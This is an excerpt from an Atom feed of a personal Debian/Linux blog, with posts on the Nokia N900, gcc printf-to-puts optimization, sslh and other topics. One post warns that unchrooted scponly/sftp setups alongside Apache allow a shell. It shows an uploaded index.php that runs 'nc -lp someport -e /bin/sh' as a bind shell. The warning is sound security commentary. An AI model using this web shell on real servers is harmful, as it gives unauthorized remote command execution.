 
            </div>
        </content>
        <dc:subject>code</dc:subject>
<dc:subject>google</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>wtf</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/686-Two-weeks-with-the-n900.html" rel="alternate" title="Two weeks with the n900" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2010-02-08T11:21:13Z</published>
        <updated>2010-02-09T13:44:02Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=686</wfw:comment>
    
        <slash:comments>7</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=686</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/686-guid.html</id>
        <title type="html">Two weeks with the n900</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Two weeks ago I got myself a nokia n900 phone which is running <a href="http://www.maemo.org">maemo 5</a>. So far I am quite happy with it, given that my previous phone was a sony erricsson p1i which is pretty crappy.<br />
I've taken some notes about my experiences:<br />
<ul><br />
    <li>under normal use the battery lasts for ~ 2 days, if I'm using 3G the whole day I need to recharge it daily though</li><br />
    <li>the terminal has a <a href="https://bugs.maemo.org/show_bug.cgi?id=6045">bug</a> which results in the enter key not working under some conditions, ctrl-m works as a workaround though</li><br />
    <li>playing normal dvdrips in mplayer is absolutely no problem without downscaling, 720p doesn't perform though</li><br />
    <li>I somehow managed that my screen flipped and I wasn't able to flip it back, only a reboot solved that</li><br />
    <li>It is not clear to me which tools you will find in the list of installable packages and which are only visible with apt-cache search. I also managed to end up with a doubled launch icon in my application list for some application</li><br />
    <li>the termininal is not usable anymore after an ncurses program crashed, "reset" doesnt help either</li><br />
    <li>wireless uses less battery than umts, way less</li><br />
    <li>the back button in the browser is per default opening a fancy eyecandy browse history which is slow, so I mostly use backspace to browse back</li><br />
    <li>there is lots of useful tools in the extras-devel repository, e.g. I can control my mpd via mmpc from the phone which is great</li><br />
</li><br />
    <li>importing contacts works flawlessly, also merging existing contacts works as expected</li><br />
    <li>jabber (including xmpp calls) are integrated in the contacts information (you can merge a jabber uid into an existing contact)</li><br />
    <li>i've no idea yet what the internal video player is, but i wasn't able to play a non downscaled XviD file with it, mplayer does play it fine</li><br />
    <li>freely placeable widgets are awesome</li><br />
    <li>it's is really userfriendly and no geeky linux user phone</li><br />
    <li>i would prefer not having busybox per default, i can install bash but the libc is still from busybox which implies world readable password hashes in /etc/passwd, so no other user accounts on my mobile <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></li><br />
    <li>is there disk encryption available?</li><br />
    <li><a href="http://maemo.org/packages/view/n900fly/">n900fly</a> can't cause any good <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></li><br />
    <li>gps with nokia maps is ok and I find it pretty usable even if a google maps client would be nice as well</li><br />
    <li>the mp3 mplayer sucks unless you have tagged your music properly, you can't just play some folder without having a playlist for it</li><br />
    <li>mplayer as an alternative from the console is no real alternative either, if you don't redirect its output to /dev/null it gets stuck in a loop when the display blanks,</li><br />
    <li>app manager locks dpkg lock even if you just list available programs, no idea why this is needed and no idea how aptitude and synaptic are doing this</li><br />
    <li>is there a good todo manager which comes with a widget listing todos?</li><br />
    <li>is it possible to install armel <a href="http://www.debian.org">debian</a> packages without having a debian chroot?</li><br />
    <li>sms are nicely organized per contact in an instant messaging fashion</li><br />
    <li>the builtin accelerator works nice and you can automatically flip the screen when you want to dial a number, sometimes happens by accident though</li><br />
    <li>the multiuser support works awesome and you get a nice overview of open applications in a composé fashion, it may be wise to have not 40 applications open though</li><br />
    <li>the list of processes is already huge (like 160 processes running in the background)</li><br />
    <li>i haven't checked out the sdk yet but I will do that soon as I need e.g. <a href="http://www.newsbeuter.org">newsbeuter</a> for RSS</li><br />
    <li>hardware feels robust, arm cortex a8 is imho a very good processor, RAM could be more (the phone is heavily swapping)</li><br />
    <li>you can not yet use the phone as a wireless access point without building your own kernel images, some people seem <a href="http://talk.maemo.org/showthread.php?t=30916&page=1">to be working</a> on this</li><br />
    <li>you can manipulate all kinds of stuff through the sysfs, including the phone led and the vibration <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></li><br />
    <li>wireless certificates are sometimes shown to be invalid but there there is no details button, you can click only "done"</li><br />
</ul><br />
Those are the things I came up with while using the phone. The calling functionality and everything which is only phone related really works fine and the sound quality while talking to someone on the phone is also really good. So far I am really happy with the phone and I can only recommend it. I hope I'll have some time to port some applications to maemo soon.<br />
<br />
 
            </div>
        </content>
        <dc:subject>debian</dc:subject>
<dc:subject>linux</dc:subject>
<dc:subject>maemo</dc:subject>
<dc:subject>n900</dc:subject>
<dc:subject>review</dc:subject>
<dc:subject>software</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/685-Chomsky-garden-gnome.html" rel="alternate" title="Chomsky garden gnome" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2009-12-23T21:26:37Z</published>
        <updated>2009-12-23T21:26:37Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=685</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=685</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/685-guid.html</id>
        <title type="html">Chomsky garden gnome</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                I always hated garden gnomes and was under the impression that only old people collect them. But I have to realize that I just discovered the love to garden gnomes when I saw the <a href="http://en.wikipedia.org/wiki/Noam_Chomsky">Noam Chomsky</a> garden gnome.<br />
<br />
<img src="http://nion.modprobe.de/bimg/gardengnome.jpg"/><br />
<a href="http://www.justsaygnome.net/gnomes-noams--oms---products---ordering.html">http://www.justsaygnome.net/gnomes-noams--oms---products---ordering.html</a><br />
<br />
If you ever feel like sending me a gift, send me one of those <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
Too bad there's also a bunch of other important people I would like to as garden gnomes! If there is a business around that please leave a comment.<br />
<br />
 
            </div>
        </content>
        <dc:subject>advertising</dc:subject>
<dc:subject>awesomeness</dc:subject>
<dc:subject>garden gnome</dc:subject>
<dc:subject>gitfs</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/684-wikileaks-released-911-pager-messages.html" rel="alternate" title="wikileaks released 9/11 pager messages" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2009-11-26T14:18:19Z</published>
        <updated>2009-11-29T07:50:16Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=684</wfw:comment>
    
        <slash:comments>1</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=684</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/684-guid.html</id>
        <title type="html">wikileaks released 9/11 pager messages</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <blockquote>From 3AM on Wednesday November 25, 2009, until 3AM the following day (US east coast time), WikiLeaks released half a million US national text pager intercepts. The intercepts cover a 24 hour period surrounding the September 11, 2001 attacks in New York and Washington.<br />
<br />
<br />
The messages were broadcasted "live" to the global community &#8212; sychronized to the time of day they were sent. The first message was from 3AM September 11, 2001, five hours before the first attack, and the last, 24 hours later.<br />
<br />
<br />
Text pagers are usualy carried by persons operating in an official capacity. Messages in the archive range from Pentagon, FBI, FEMA and New York Police Department exchanges, to computers reporting faults at investment banks inside the World Trade Center</blockquote><br />
<br />
Wow, this is an interesting release! I am not yet sure if I completely like it as it probably also carries a lot information that is not in the public interest and maybe shouldn't be public but nonetheless it is interesting to see this.<br />
More info on: <a href="http://911.wikileaks.org/">http://911.wikileaks.org/</a> (<a href="http://911.wikileaks.org/files/index.html">index</a>).<br />
<br />
This in combination with the <a href="http://wikileaks.org/wiki/Toll_Collect_Vertraege%2C_2002">release</a> of the <a href="http://en.wikipedia.org/wiki/Toll_Collect">Toll Collect</a> contracts really made my day. Thanks <a href="http://www.wikileaks.org">wikileaks</a>! You are doing a great job!<br />
 
            </div>
        </content>
        <dc:subject>9/11</dc:subject>
<dc:subject>information</dc:subject>
<dc:subject>knowledge</dc:subject>
<dc:subject>power</dc:subject>
<dc:subject>toll collect</dc:subject>
<dc:subject>wikileaks</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/682-Mandelbrot-in-3D.html" rel="alternate" title="Mandelbrot in 3D" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2009-11-22T17:56:29Z</published>
        <updated>2009-11-22T18:30:06Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=682</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=682</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/682-guid.html</id>
        <title type="html">Mandelbrot in 3D</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Just a short note, I am still alive <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> Just being very busy with my studies and certain aspects in real life.<br />
<br />
But there is a thing I really would like to share now and that is an attempt to visualize the <a href="http://en.wikipedia.org/wiki/Mandelbrot_set">Mandelbrot set</a> in 3D. I haven't seen something like that before but it is really awesome.<br />
<br />
<img src="/bimg/mandelbrot.jpg"/><br />
<br />
The story behind that and lots of interesting pictures at: <a href="http://www.skytopia.com/project/fractal/mandelbulb.html">http://www.skytopia.com/project/fractal/mandelbulb.html</a><br />
 
            </div>
        </content>
        <dc:subject>awesomness</dc:subject>
<dc:subject>fractal</dc:subject>
<dc:subject>mandelbrot</dc:subject>
<dc:subject>picture</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/681-ssl-and-ssh-multiplexing-using-sslh.html" rel="alternate" title="ssl and ssh multiplexing using sslh" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2009-10-29T14:19:47Z</published>
        <updated>2009-10-29T23:57:26Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=681</wfw:comment>
    
        <slash:comments>6</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=681</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/681-guid.html</id>
        <title type="html">ssl and ssh multiplexing using sslh</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                A lot of people used to configure their ssh servers to listen to a port different from 22 to prevent their logs getting filled with login attempts by script kiddies. I just stumbled over <a href="http://www.rutschle.net/tech/sslh.shtml">sslh</a> which is a very nice alternative to that in case you have a webserver running which supports ssl. sslh is also a good choice if you are behind a corporate firewall and ssh is filtered while SSL is probably not (and this is simpler than tunneling).<br />
<br />
The idea is pretty simple but cool. The daemon listens on port 443 and depending on whether the client has written something into the socket (SSL) or not (SSH) after connecting the daemon "forwards" the connection to the listening service running on the same host. In case of SSL/HTTPS the client will send a request after the handshake and in case of ssh it won't. Pretty simple. I just did a quick test on one of my hosts and it seems to work great. The tool is written in C, consists of < 500 SLOC and the code looks clean to me. If you're using <a href="http://www.debian.org">Debian</a> you can just apt-get install it.<br />
 
            </div>
        </content>
        <dc:subject>debian</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>ssh</dc:subject>
<dc:subject>tips</dc:subject>
<dc:subject>tools</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/680-gcc-and-printfputs-optimizations.html" rel="alternate" title="gcc and printf/puts optimizations" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2009-09-17T15:47:51Z</published>
        <updated>2009-10-08T22:40:11Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=680</wfw:comment>
    
        <slash:comments>3</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=680</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/680-guid.html</id>
        <title type="html">gcc and printf/puts optimizations</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Today I had a nice WTF moment. I was looking into when <a href="http://gcc.gnu.org/">gcc</a> is going to print (null) rather than segfaulting on trying to dereference a NULL pointer. I knew newer gcc versions are doing that in some situations. But it turns out this is more complex than I initially thought.<br />
<br />
So here we have 5 little test programs:<br />
<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">&#125;</span></div></li></ol></div><div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> 0<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">&#125;</span></div></li></ol></div><div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s&quot;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">&#125;</span></div></li></ol></div><div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s&quot;</span><span style="color: #339933;">,</span> 0<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">&#125;</span></div></li></ol></div><div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color: #000066;">printf</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;bla: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">&#125;</span></div></li></ol></div><br />
Now I expected some kind of consistent behaviour at least apart from the last snippet as from the C programming point of view the source does exactly the same. But it seems this is not the case.<br />
<br />
The first snippet is straightforward, even in the generated assembler the code dereferences a NULL pointer in puts and therefore results in a segfault. But wasn't it printf from the GNU libc that replaces such cases with (null)? Yes it was but it turns out only in some cases. Now here is the fun part. If we look at the generated code for the first example we see:<br />
<br />
<div class="asm geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #adadad; font-style: italic;">00000000</span>004004ec &lt;main&gt;<span style="color: #339933;">:</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; 4004ec<span style="color: #339933;">:</span> &#160; 55 &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;<span style="color: #00007f; font-weight: bold;">push</span> &#160; <span style="color: #339933;">%</span>rbp</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; 4004ed<span style="color: #339933;">:</span> &#160; 48 89 e5 &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;<span style="color: #00007f; font-weight: bold;">mov</span> &#160; &#160;<span style="color: #339933;">%</span>rsp<span style="color: #339933;">,%</span>rbp</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; 4004f0<span style="color: #339933;">:</span> &#160; bf 00 00 00 00 &#160; &#160; &#160; &#160; &#160;<span style="color: #00007f; font-weight: bold;">mov</span> &#160; &#160;$0x0<span style="color: #339933;">,%</span><span style="color: #00007f;">edi</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; 4004f5<span style="color: #339933;">:</span> &#160; e8 e6 fe ff ff &#160; &#160; &#160; &#160; &#160;callq &#160;<span style="color: #0000ff;">4003e0</span> &lt;puts@plt&gt;</div></li></ol></div><br />
<br />
Huh? puts? Now that is interesting. It seems like gcc sees the format string "%s\n" and after that a pointer (void *) so it assumes the usage of puts does make sense so it optimizes the call.<br />
Now for the second code snippet this is not the case:<br />
<div class="asm geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #adadad; font-style: italic;">00000000</span>004004ec &lt;main&gt;<span style="color: #339933;">:</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; 4004ec<span style="color: #339933;">:</span> &#160; 55 &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;<span style="color: #00007f; font-weight: bold;">push</span> &#160; <span style="color: #339933;">%</span>rbp</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; 4004ed<span style="color: #339933;">:</span> &#160; 48 89 e5 &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;<span style="color: #00007f; font-weight: bold;">mov</span> &#160; &#160;<span style="color: #339933;">%</span>rsp<span style="color: #339933;">,%</span>rbp</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; 4004f0<span style="color: #339933;">:</span> &#160; be 00 00 00 00 &#160; &#160; &#160; &#160; &#160;<span style="color: #00007f; font-weight: bold;">mov</span> &#160; &#160;$0x0<span style="color: #339933;">,%</span><span style="color: #00007f;">esi</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; 4004f5<span style="color: #339933;">:</span> &#160; bf fc 05 40 00 &#160; &#160; &#160; &#160; &#160;<span style="color: #00007f; font-weight: bold;">mov</span> &#160; &#160;$0x4005fc<span style="color: #339933;">,%</span><span style="color: #00007f;">edi</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; 4004fa<span style="color: #339933;">:</span> &#160; b8 00 00 00 00 &#160; &#160; &#160; &#160; &#160;<span style="color: #00007f; font-weight: bold;">mov</span> &#160; &#160;$0x0<span style="color: #339933;">,%</span><span style="color: #00007f;">eax</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">&#160; 4004ff<span style="color: #339933;">:</span> &#160; e8 dc fe ff ff &#160; &#160; &#160; &#160; &#160;callq &#160;<span style="color: #0000ff;">4003e0</span> &lt;printf@plt&gt;</div></li></ol></div><br />
<br />
In this case gcc sees the format string and an integer so it can't just use this with puts in a way that makes sense. printf is used and the result is (null).<br />
<br />
Until this point the behaviour is somehow predictable at least if you know that.<br />
But it becomes even more strange. The third and the fourth example <strong>both</strong> result in the usage of printf and therefore the displayed result is (null). In my opinion it seems that gcc is testing exactly for "%s\n" (as puts prints a newline at the end anyway). So these two examples don't segfault as well. If there's a newline gcc is - or at least that's my impression - already concatenating the format string with the pointer value.<br />
<br />
In the last case the newline is present again. However there is a leading string in front of the format string %s. Here gcc is not seeing this as a whole thing concatenating it and calling puts. It's using printf again and results bla: (null).<br />
<br />
I have no idea what the reason behind this behaviour is, I guess there are good arguments for that by the gcc people. But honestly, it SUCKS and is highly inconsistent, *grrr*. The whole behaviour isn't even consistent between different gcc versions.<br />
<br />
The above results are tested with <strong>gcc (Debian 4.3.4-2) 4.3.4</strong>. I also tested with <strong>gcc (GCC) 3.4.3</strong>, in this case all of the above examples result in a segmentation fault (not sure when this (null) replacement feature in the glibc was introduced though). You can also disable this "optimization" by using <strong>-fno-builtin-printf</strong> btw. 
            </div>
        </content>
        <dc:subject>c</dc:subject>
<dc:subject>compiler</dc:subject>
<dc:subject>gcc</dc:subject>
<dc:subject>optimization</dc:subject>
<dc:subject>programming</dc:subject>
<dc:subject>rant</dc:subject>
<dc:subject>wtf</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/679-security-of-scponlysftp-server-in-combination-with-apache.html" rel="alternate" title="security of scponly/sftp-server in combination with apache" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2009-08-13T23:24:56Z</published>
        <updated>2009-08-16T13:12:58Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=679</wfw:comment>
    
        <slash:comments>10</slash:comments>
        <wfw:commentRss>http://nion.modprobe.de/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=679</wfw:commentRss>
    
    
        <id>http://nion.modprobe.de/blog/archives/679-guid.html</id>
        <title type="html">security of scponly/sftp-server in combination with apache</title>
        <content type="xhtml" xml:base="http://nion.modprobe.de/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                While I am not a fan of <a href="http://sublimation.org/scponly/wiki/index.php/Main_Page">scponly</a>/sftp-server (openssh) many people are still using it to give users the possibility to up/download files from the host without the need to provide them with shell access. If you do a simple setup like <a href="http://www.debian-administration.org/articles/94">http://www.debian-administration.org/articles/94</a> or configure scponly without using a chrooted environment and you do this on host that also has a standard webserver setup (apache serving per-user home directories and php) you already lost.<br />
<br />
The user won't be able to login with the username you gave him but he can remotely login via your webserver now. All that needs to be done is:<ul><li>Connect to the host using sftp</li><br />
<li>$ mkdir public_html</li><br />
<li>$ cd public_html; put index.php; chmod 644 index.php</li><br />
<li>point your browser to http://host/~user/</li><br />
<li>connect netcat to host:someport</li><br />
</ul>index.php would just contain something like &lt;? system("nc -lp someport -e /bin/sh"); ?&gt; and you end up with a shell as www-data (on Debian).<br />
<br />
It's pretty easy to make errors or miss important things in such a setup and I think it's almost always a better solution to either trust people and give them access via ssh or give them no access at all.<br />
 
            </div>
        </content>
        <dc:subject>config</dc:subject>
<dc:subject>debian</dc:subject>
<dc:subject>scponly</dc:subject>
<dc:subject>security</dc:subject>
<dc:subject>setup</dc:subject>
<dc:subject>sftp</dc:subject>
<dc:subject>software</dc:subject>
<dc:subject>ssh</dc:subject>

    </entry>
    <entry>
        <link href="http://nion.modprobe.de/blog/archives/678-another-note-to-the-keysigning-debacle.html" rel="alternate" title="another note to the keysigning debacle" />
        <author>
            <name>Nico Golde</name>
            <email>blog@ngolde.de</email>        </author>
    
        <published>2009-08-05T18:55:44Z</published>
        <updated>2009-08-05T19:52:48Z</updated>
        <wfw:comment>http://nion.modprobe.de/blog/wfwcomment.php?cid=678</wfw:comment>
    
        <slash:comments>0</slash:comments>
